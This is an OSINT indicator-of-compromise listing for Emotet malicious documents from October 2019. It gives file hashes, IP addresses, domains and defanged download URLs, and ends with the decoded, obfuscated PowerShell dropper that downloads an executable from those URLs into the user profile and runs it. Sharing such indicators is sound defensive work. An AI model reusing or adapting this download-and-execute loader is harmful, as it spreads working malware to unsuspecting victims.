Emotet_Doc_out_2019-10-14_03_20.txt

#Emotet #Docs #malware #OSINT #IOC

MD5:
38b7f1c8fe2c89c62606c67fba437fd8
c41d7850c8e4bf6f19eb9cb63555968c
10c56659cb9766822ff975dd7c1cc100
490bc26b7e9f2d79f59ce1f1a9897a76


IPs:
101.227.64.237
103.102.234.131
142.4.50.75
35.184.134.213
43.229.153.78
63.250.34.68


Domains:
aijdjy.com
obbydeemusic.com
veeplan.com
www.kmacobd.com
xsnonline.us


URLs:
hxxp://xsnonline.us/blogs/4x466v/
hxxp://obbydeemusic.com/aqoeivj4fd/us5htvn/
hxxp://veeplan.com/wp-content/dW0o3RoJNG/
hxxp://www.kmacobd.com/u9r/
hxxp://aijdjy.com/dup-installer/t0/


Decoded Base64 Powershell:
<# hxxps://www.microsoft.com/ #> $bb147x080c2='x2730503cb06';
$b5x0c4c6b3488 = '856';
$cb05c6510c007='c018309x0c2';
$xc0x57b38b2x7=$env:userprofile+'\'+$b5x0c4c6b3488+'.exe';
$x3094x09c0b0='cc082602x31';
$xc2c295x20802=.('n'+'ew-obje'+'ct') NeT.wEBCLiENT;
$b00b1371081='hxxp://xsnonline.us/blogs/4x466v/
hxxp://obbydeemusic.com/aqoeivj4fd/us5htvn/
hxxp://veeplan.com/wp-content/dW0o3RoJNG/
hxxp://www.kmacobd.com/u9r/
hxxp://aijdjy.com/dup-installer/t0/'."spL`iT"('
');
$cxc2000153b='c78xb8790006';
foreach($bc16801430cx in $b00b1371081){try{$xc2c295x20802."DowNL`OAdfi`Le"($bc16801430cx, $xc0x57b38b2x7);
$b9366b008x6='c0300c98270';
If ((.('Get-I'+'t'+'em') $xc0x57b38b2x7)."l`engTh" -ge 24516) {[Diagnostics.Process]::"s`TarT"($xc0x57b38b2x7);
$bxc100525c074='c7604007xx328';
break;
$b2037060949='xx20b93043c0'}}catch{}}$xc56003958xx='c059234006c0'